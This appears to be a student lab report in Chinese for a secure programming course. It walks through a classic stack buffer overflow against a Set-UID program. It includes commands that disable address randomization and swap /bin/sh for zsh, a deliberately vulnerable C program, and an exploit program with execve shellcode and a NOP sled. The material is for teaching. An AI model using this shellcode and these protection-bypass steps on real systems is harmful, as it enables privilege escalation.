zoukankan      html  css  js  c++  java
  • 缓冲区溢出

    #20181216安全编程技术缓冲区溢出选做题

    课程:《安全编程技术》

    班级: 1812

    姓名: 杨越麒

    学号:20181216

    实验教师:娄嘉鹏

    实验日期:2020年10月11日

    ## 1.实验内容 本次实验要求使用实验楼网站做一个缓冲区溢出的实验,实验步骤在实验楼的提示中都有

    ## 2. 实验过程及结果

    1. 实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备

    sudo apt-get update
    sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
    sudo apt-get install -y python3.6-gdbm gdb

    2.关闭地址空间随机化

    sudo sysctl -w kernel.randomize_va_space=0

    3.由于防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现,所以我们使用zsh进行代替。

    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit

    4.编写漏洞程序和攻击程序

    漏洞程序:

    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[12];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly\n");
        return 1;
    }

    攻击程序:

    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] =
        "\x31\xc0" //xorl %eax,%eax
        "\x50"     //pushl %eax
        "\x68""//sh" //pushl $0x68732f2f
        "\x68""/bin"     //pushl $0x6e69622f
        "\x89\xe3" //movl %esp,%ebx
        "\x50"     //pushl %eax
        "\x53"     //pushl %ebx
        "\x89\xe1" //movl %esp,%ecx
        "\x99"     //cdq
        "\xb0\x0b" //movb $0x0b,%al
        "\xcd\x80" //int $0x80
        ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */
        strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
        strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }

    注意上面的代码,\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。 然后通过gdb调试和计算得到shellcode 保存在内存中的地址

    FFFFCFB0 + 64 = FFFFD014

    攻击结果:

    练习:

    由于打开了地址空间随机化,所以后面不能攻击了

    ## 3. 实验过程中遇到的问题和解决过程

    - 问题1:GDB没有安装

    解决方案:装一个 gdb:

    `sudo apt-get install gdb`

    ## 感悟、思考 本实验是一个缓冲区溢出攻击的实验,通过这个实验我了解了缓冲区溢出的攻击方法,为今后的网络攻防打下基础。

  • 相关阅读:
    Team Foundation Server操作说明
    SPSS二次开发
    EXT 组件一些属性与方法(Tree)
    win10经验总结
    for语句执行顺序
    数组快速生成range的方法
    切图技巧
    input和textarea区别
    hosts文件位置
    css3动画总结
  • 原文地址:https://www.cnblogs.com/yanglao/p/13799864.html
Copyright © 2011-2022 走看看